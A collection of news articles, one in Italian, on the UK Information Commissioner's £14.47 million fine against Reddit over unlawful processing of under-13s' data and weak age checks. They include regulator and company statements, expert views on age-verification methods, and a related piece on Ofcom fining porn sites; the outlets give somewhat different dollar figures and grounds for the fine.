Continua in Uk un’attenzione particolare sulle piattaforme digitali, questa volta con una multa da 14,47 milioni di sterline da parte dell’ICO. “Trattamento illegale dei dati personali dei bambini“, è questa la principale accusa per cui l’Information Commissioner’s Office (ICO), in Uk, ha comminato a Reddit una multa da 14,47 milioni di sterline. Secondo l’ICO, la piattaforma di “social news” non ha valutato in modo sufficiente l’impatto complessivo delle proprie pratiche sui diritti e sulla sicurezza dei minori. Alla base dell’inadempimento c’era l’implementazione di un sistema di registrazione e verifiche che non teneva conto degli standard minimi di protezione. Materialmente, Reddit avrebbe esposto un campione molto grande di utenti ai rischi per la loro privacy. Nel comminare la multa, il garante britannico ha tenuto conto di più fattori. Vale a dire “il numero di minori coinvolti nella violazione, il grado di danno potenziale causato, la durata delle inadempienze e l fatturato globale della piattaforma“. Nessun divieto sostanziale Sebbene i termini di servizio di Reddit vietassero l’accesso ai minori di 13 anni, fino a luglio 2025 la piattaforma non aveva implementato misure concrete per verificare l’età reale degli utenti. Di fatto, quindi, “il divieto risultava solo formale“. Dalle stime dell’ente pubblico non dipartimentale – in Uk garante della protezione dei dati e della privacy – è emerso che un numero significativo di bambini sotto i 13 anni utilizzava la piattaforma. In assenza di adeguati controlli, Reddit ha trattato i loro dati personali senza disporre di una base giuridica valida, in violazione della normativa in materia. Al contrario, secondo la legge britannica sulla protezione dei dati, “i minori devono ricevere un trattamento speciale per quanto riguarda le loro informazioni personali“. I rischi per i minori Nel luglio 2025, Reddit ha introdotto misure di verifica dell’età relative all’accesso a “contenuti per adulti“. A queste si aggiunga la richiesta, per gli utenti, di dichiarare la propria età al momento dell’apertura di un profilo. Il nodo della vicenda, tuttavia, è stata proprio nella scelta della modalità di “self-declaration“. L’ICO ha informato Reddit che affidarsi all’autodichiarazione sarebbe stato un rischio minori, “per via delle facilità di aggirarla“. L’autorità per la privacy britannica è da tempo impegnata su verifiche in materia di trattamento dei dati personali dei minori da parte di Reddit. Il tutto, nell’ambito di un più ampio lavoro sulle piattaforme online. Quest’ultima risulta essere un’area di particolare interesse per l’Ufficio, come ha indicato nel suo aggiornamento sui progressi compiuti in materia di privacy dei minori del dicembre 2025. John Edwards (UK Information Commissioner): “L’utilizzo delle informazioni personali dei minori di 13 anni è avvenuto in modi che essi non potevano comprendere, autorizzare o controllare“ “È preoccupante che un’azienda delle dimensioni di Reddit abbia mancato al proprio obbligo legale di proteggere le informazioni personali dei minori britannici“. Questo il commento di John Edwards, UK Information Commissioner. “La raccolta e l’impiego delle informazioni personali dei minori di 13 anni sono avvenuti in modi che essi non potevano comprendere, autorizzare o controllare. Ciò li ha esposti potenzialmente a contenuti che non avrebbero dovuto vedere. Questo è inaccettabile e ha portato alla sanzione odierna“. E in materia ha spiegato: “Vorrei essere chiaro. Le aziende che gestiscono servizi online a cui potrebbero accedere i bambini hanno la responsabilità di proteggerli. Devono garantire che non siano esposti a rischi attraverso il modo in cui vengono utilizzati i loro dati. Per farlo, devono essere sicure di conoscere l’età dei propri utenti e disporre di misure adeguate ed efficaci per verificarne l’età“. Il Commissario ha poi sottolineato: “Reddit non ha soddisfatto queste aspettative. Deve migliorare. Noi continuiamo a valutare i controlli di verifica dell’età attualmente implementati dalla piattaforma“. Affidarsi alla dichiarazione dell’età da parte degli utenti stessi non è sufficiente “quando i bambini possono essere a rischio“, ha aggiunto Edwards. “Ora ci stiamo concentrando sulle aziende che utilizzano principalmente questo metodo. Incoraggio quindi vivamente il settore a prendere nota, riflettere sulle proprie pratiche e apportare con urgenza i miglioramenti necessari alle proprie piattaforme”. Per approfondire Consulta il Data (Use and Access) Act 2025 in PDF. Leggi l’Online Safety Act 2023 in PDF.

Britain’s data privacy watchdog slapped online forum Reddit on Tuesday with a fine worth nearly $20 million for failures involving children’s personal information. The Information Commissioner’s Office said it issued the penalty worth 14.5 million pounds ($19.5 million) because the failures resulted in the platform using children’s data “unlawfully.” “Children under 13 had their personal information collected and used in ways they could not understand, consent to or control. That left them potentially exposed to content they should not have seen,” said Information Commissioner John Edwards. “This is unacceptable and has resulted in today’s fine.” The U.K. privacy regulator has been escalating scrutiny of online platforms over child safety. Earlier this month it hit MediaLab, owner of image-sharing site Imgur, with a 247,590 pound fine over similar failures and it has also been investigating TikTok since last year. The watchdog took issue with Reddit’s age verification measures. It said that even though the platform doesn’t allow children under 13 to use its service, it didn’t have any way to check the ages of its users before July 2025. Edwards said online platforms that are likely to be accessed by children are responsible for protecting them by making sure they’re not exposed to any risks “through the way their data is used.” They can do this with “effective age assurance measures,” he said. Reddit rolled out age verification measures in July 2025 in order for users to access mature content, including asking them to declare their age when setting up an account. But the watchdog said “self-declaration” is easy to bypass and that it told Reddit it would continue to monitor the platform’s handling of children’s data. Reddit said it would appeal the decision. “Reddit doesn’t require users to share information about their identities, regardless of age, because we are deeply committed to their privacy and safety,” the company said in a statement. “The ICO’s insistence that we collect more private information on every UK user is counterintuitive and at odds with our strong belief in our users’ online privacy and safety.” Related: Dior, Louis Vuitton, Tiffany Fined $25 Million in South Korea After Data Breaches Related: Vodafone Germany Fined $51 Million Over Privacy, Security Failures

The UK’s Information Commissioner’s Office (ICO) has issued a multimillion-pound fine to Reddit for GDPR non-compliance, but experts have warned that its rules pose a risk to user security and privacy. The UK’s data protection regulator said on February 24 that its £14.47m ($19.6m) fine was levied for two main reasons. First, Reddit failed to put “robust” age verification measures in place, which meant it did not have a lawful basis for processing the personal information of children under the age of 13. Second, it failed to carry out a data protection impact assessment (DPIA) to assess and then mitigate risks to children on the platform before January 2025. The fine took into account the large number of children using the site, the degree of potential harm caused, the duration of the failings and Reddit’s global turnover, the ICO said, “Children under 13 had their personal information collected and used in ways they could not understand, consent to or control. That left them potentially exposed to content they should not have seen. This is unacceptable and has resulted in today’s fine,” said information commissioner, John Edwards. “Let me be clear. Companies operating online services likely to be accessed by children have a responsibility to protect those children by ensuring they’re not exposed to risks through the way their data is used. To do this, they need to be confident they know the age of their users and have appropriate, effective age assurance measures in place.” Reddit introduced age verification to access “mature content” in July 2025 and now asks users to state their age when opening an account, although the ICO noted that the latter is too easy to bypass. Sympathy for Reddit Reddit has defended its decision, saying in a statement that it “didn't require users to share information about their identities, regardless of age, because we are deeply committed to their privacy and safety." Some experts agreed that the ICO’s intrusive age verification checks, as per those for users of adult content sites, put user security and privacy at risk. Paul Bischoff, consumer privacy advocate at Comparitech, said he hoped Reddit would stand firm. “The problem with mandatory identity verification is that it places an undue burden of proof on the vast majority of people not suspected of any wrongdoing,” he added. “It has a chilling effect on our freedoms and there's little evidence that it achieves its stated purpose. Parents need to take responsibility and stop shifting their burden onto private companies, the government, and the general public.” Pieter Arntz, senior researcher at Malwarebytes, agreed that such checks potentially expose user data. “Whether it’s facial age estimation relying on biometrics, open banking checks querying financial data, digital ID wallets adding new layers of infrastructure, or photo-ID matching concentrating high-value identity data, each approach introduces fresh privacy and security concerns,” he added. “Even simpler methods, like credit card checks, email-based inference, or mobile network verification, raise issues around exclusion, profiling, or reliability.” If the ICO supported “double-blind” verification, it could potentially allay these concerns, Arntz added. “In this model, a trusted third party confirms a user’s age and issues a simple ‘18+’ (or similar) token to the relying site, without revealing the user’s identity or which service they are accessing,” he continued. “This reduces data exposure, limits cross-service tracking, and avoids creating new honeypots of sensitive personal information, offering stronger privacy protections than most current approaches while still meeting regulatory objectives." A Warning to Others However, others were less sympathetic to Reddit’s cause. Chris Linnell, associate director of data privacy at Bridewell, argued that when processing children’s data, a DPIA is simply not optional. “It is a statutory requirement designed to force organizations to properly assess, document and mitigate risk before harm occurs. The absence of a robust DPIA suggests that the risks to children were not adequately identified or addressed at the outset,” he said. “Equally, relying on terms and conditions to state that under-13s should not use the service is not, in itself, a protective measure. If no effective technical or operational controls are in place to enforce that rule, the organization cannot credibly argue that it has taken reasonable steps to prevent access. Compliance cannot sit solely in contractual wording; it must be reflected in practical safeguards.” The Reddit fine comes just weeks after Imgur parent company MediaLab was fined over £247,000 for failing to use children’s information lawfully. Linnell urged online service providers to avoid similar regulatory action by focusing on the basics, namely: Identify where children are likely to access your services – even if they are not your intended audience Conduct DPIAs for high-risk processing, with regular reviews Establish and document a lawful basis for processing children’s data Implement proportionate, effective controls rather than relying solely on policy statements Image credit: Charles-McClintock Wilson / Shutterstock.com

The UK’s online safety and privacy regulators are targeting companies that violate new age verification laws at both ends : Porn sites that did not keep children out, and mainstream platforms that profited from children coming in. On February 23, media regulator Ofcom fined porn operators that failed to put “highly effective” age checks in place. Within the same 24-hour time frame, the Information Commissioner’s Office (ICO)—which is a separate, independent regulatory office—hit Reddit with an $18.2 million fine for unlawfully using children’s personal data for targeted advertising and recommendation systems. Together, the cases show how quickly the UK is moving from guidance and “codes” to very real enforcement for services that don’t take children’s rights seriously. Porn sites punished for weak age checks Under the UK’s Online Safety Act 2023, services that publish or host pornography must use “highly effective” age assurance to stop children from accessing pornographic content. That means the classic splash page warning or an “I am over 18” tick box are no longer suitable. Porn companies have reacted in different ways as the rules began to take hold: Some big players embraced more intrusive checks; others, like Pornhub, geo‑restricted or partially withdrew from the UK, and a minority effectively called the regulator’s bluff and carried on with token measures. Ofcom is now going after that last group. On Monday, Ofcom fined US‑based porn operator 8579 LLC around $1.8 million for failing to implement proper age verification on its sites and for dragging its heels on compliance. The company has also been ordered to hand over a complete list of all websites it operates, with an extra daily penalty if it fails to comply. Ofcom said it opened investigations into dozens of adult sites and will impose fines and daily penalties until proper age checks are in place, and reports that more than 6,000 porn sites have now moved to “highly effective” age checks. It can also employ certain business‑disruption and blocking powers for stubborn operators that continue to violate the law. Reddit fined for using children’s data Meanwhile, the Information Commissioner’s Office (ICO) took aim at something different, but very much related: How mainstream online platforms treat the children they already have, rather than how they keep children out. The Office’s latest decision imposes a substantial fine on Reddit for “children’s privacy failures,” after the regulator concluded the platform unlawfully used UK children’s personal data for targeted advertising and profiling. The decision follows a multi‑year push by the ICO to enforce its Age Appropriate Design Code (also known as the Children’s code) and to crack down on platforms that treat under‑18s like just another audience segment. The ICO said its investigation found that Reddit: Failed to effectively identify and protect under‑18s on the platform, despite knowing that children were present in large numbers. Used children’s personal information in recommender systems and targeted advertising, without adequate safeguards or a lawful basis under UK data protection law. Did not ensure that the “best interests of the child” were a primary consideration in its design and data‑use decisions, as required by the Children’s code. The regulator’s concerns about Reddit are not new. In 2025 it announced investigations into TikTok, Reddit, and Imgur that focused on how the companies use UK children’s data and what age‑assurance tools they rely on. By late 2025, the ICO had issued a notice of intent to fine Reddit, signaling that it believed serious breaches had occurred. The new $18.2 million fine is the outcome of that process. The message from Information Commissioner John Edwards is blunt: Social media and video‑sharing platforms are welcome in the UK, but “this cannot be at the expense of children’s privacy,” and the responsibility to keep children safe “lies firmly at the door of the companies offering these services.” Two regulators, one child‑safety push Although Ofcom and the ICO have different remits, their actions line up neatly. Ofcom enforces the Online Safety Act, which focuses on harmful content and requires robust age assurance for porn and other high‑risk services. The ICO enforces UK GDPR and the Children’s code, which focus on how children’s personal data is collected, used, and shared. The regulators have explicitly said they will work closely together to coordinate their efforts on children’s safety. In practical terms, that means: A porn site that implements “highly effective” age checks to satisfy Ofcom may also find itself under ICO scrutiny if its identity checks or data sharing do not respect data protection law. A social platform that complies with the Children’s code by turning off profiling for children and tightening privacy defaults may still need Ofcom‑compliant age assurance if it hosts adult or otherwise high‑risk content. The overlap is already visible. The ICO investigated how Reddit and other platforms use age assurance and recommender systems, while Ofcom set out specific guidance on acceptable age‑verification methods under the Online Safety Act. How age checks actually work Regulators such as Ofcom publish lists of acceptable age‑verification methods, each with its own privacy and usability trade‑offs. None are perfect, and many shift risk from governments and platforms onto users’ most sensitive personal data. Facial age estimation: Users upload a selfie or short video so an algorithm can guess whether they look over 18, which avoids storing documents but relies on sensitive biometrics and imperfect accuracy. Open banking: An age‑check service queries your bank for a simple “adult or not” answer. It may be convenient on paper but it’s a hard sell when the relying site is an adult platform. Digital identity services: Digital ID wallets can assert “over 18” without exposing full credentials, but they add yet another app and infrastructure layer that must be trusted and widely adopted. Credit card checks: Using a valid payment card as a proxy for adulthood is simple and familiar, but it excludes adults without cards and does not cover lower age thresholds like “over 13.” Email‑based estimation: Systems infer age from where an email address has been used (such as banks or utilities), effectively encouraging cross‑service profiling and “digital snooping.” Mobile network checks: Providers indicate whether an account has age‑related restrictions. This can be fast, but is unreliable for pay‑as‑you‑go accounts, burner SIMs, or poorly maintained records. Photo‑ID matching: Users upload an ID document plus a selfie so systems can match faces and ages. This is effective, but concentrates highly sensitive identity data in yet another attractive target for attackers. My personal preference would be double‑blind verification: a third‑party provider verifies your age, then issues a simple token like “18+” to sites without revealing your identity or learning which site you visit, offering stronger privacy than most current approaches. In almost every case, users must surrender personal information or documents to prove their age, increasing the risk that sensitive data ends up in the wrong hands. Browse like no one’s watching. Malwarebytes Privacy VPN encrypts your connection and never logs what you do, so the next story you read doesn’t have to feel personal. Try it free →

Reddit fined $20 million by UK for not effectively checking users’ ages The U.K.’s data protection regulator on Tuesday fined Reddit £14.47 million ($19.5 million) for failing to properly check the age of children using the platform. The regulator, the Information Commissioner’s Office (ICO), says that because Reddit lacked appropriate age assurance methods, the popular platform collected and used children’s data illegally. Reddit introduced stronger age verification measures for users to access mature content in July 2025, but it still relied on consumers to self-declare their age when opening an account, an ICO press release said. The ICO advised Reddit that “relying on self-declaration presents risks to children as it is easy to bypass,” according to the press release. Reddit’s lack of a rigorous age assurance tool means it “did not have a lawful basis for processing the personal information of children under the age of 13,” the press release said. “These failures meant Reddit was using children’s data unlawfully, potentially exposing them to inappropriate and harmful content,” it added. The platform also failed to carry out a data protection impact assessment to address risks its system posed to children prior to January 2025, the press release said. A large number of children use Reddit, the ICO said its probe found. The ICO began fully enforcing age assurance as a core requirement of its Age Appropriate Design Code in September 2021. The penalty follows the ICO’s February 5 crackdown on image sharing and hosting platform Imgur — owned by Media Lab.AI — for the same violations. The fines are part of a broader ICO effort to address whether companies are doing enough to protect children online, the regulator said. A spokesperson for Reddit said in a statement that the platform doesn’t “require users to share information about their identities, regardless of age, because we are deeply committed to their privacy and safety.” “The ICO’s insistence that we collect more private information on every UK user is counterintuitive and at odds with our strong belief in our users' online privacy and safety.” The company plans to appeal the ICO decision, the statement said. The ICO said it will continue to review how Reddit processes children’s personal data as part of an ongoing campaign to enforce children’s privacy law on online platforms that rely mainly on self-declaration to check users’ ages, which the press release said is “not enough when children may be at risk.” “It's concerning that a company the size of Reddit failed in its legal duty to protect the personal information of UK children,” John Edwards, the U.K. information commissioner, said in a statement. “Children under 13 had their personal information collected and used in ways they could not understand, consent to or control.” Edwards’s statement said he “strongly” encourages industry to take note of the Reddit enforcement and adjust practices. The ICO said the large fine amount was determined by how many children were impacted, the degree of harm caused, the timespan for the negligence and Reddit’s global turnover. Suzanne Smalley is a reporter covering digital privacy, surveillance technologies and cybersecurity policy for The Record. She was previously a cybersecurity reporter at CyberScoop. Earlier in her career Suzanne covered the Boston Police Department for the Boston Globe and two presidential campaign cycles for Newsweek. She lives in Washington with her husband and three children.

The UK Information Commissioner's Office (ICO) has fined Reddit £14.47 million (over $19.5 million) for collecting and using the personal information of children under 13 without adequate safeguards. As the ICO explained in a Tuesday press release, Reddit failed to implement a meaningful age-verification system on its platform until July 2025, even though its own terms of service prohibited users under 13. The data protection regulator also estimates that a significant number of underage children were using the social media platform before July 2025 and that Reddit processed their data without a lawful basis and potentially exposed them to harmful content. In July 2025, Reddit implemented age assurance measures, including an age verification system for accessing mature content and a self-declaration prompt for new accounts. However, the ICO criticized them for failing to meet UK data protection standards and noted that children can easily bypass them. "It's concerning that a company the size of Reddit failed in its legal duty to protect the personal information of UK children. Children under 13 had their personal information collected and used in ways they could not understand, consent to or control. That left them potentially exposed to content they should not have seen. This is unacceptable and has resulted in today's fine," said UK Information Commissioner John Edwards. "Relying on users to declare their age themselves is not enough when children may be at risk and we are focusing now on companies that are primarily using this method. I therefore strongly encourage industry to take note, reflect on their practices and urgently make any necessary improvements to their platforms." In a statement to BleepingComputer, a Reddit spokesperson said the company will appeal the ICO's decision and that "according to external market research, the vast majority of Reddit users in the UK are adults." "Reddit doesn't require users to share information about their identities, regardless of age, because we are deeply committed to their privacy and safety," the spokesperson added. "The ICO's insistence that we collect more private information on every UK user is counterintuitive and at odds with our strong belief in our users' online privacy and safety. We intend to appeal the ICO's decision." Reddit says it has 121 million daily active users and over 471 million weekly active ones, spread across over 100,000 active communities. This fine follows a similar penalty issued on February 5 against MediaLab, the owner of the image-sharing platform Imgur, over children's privacy failures. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report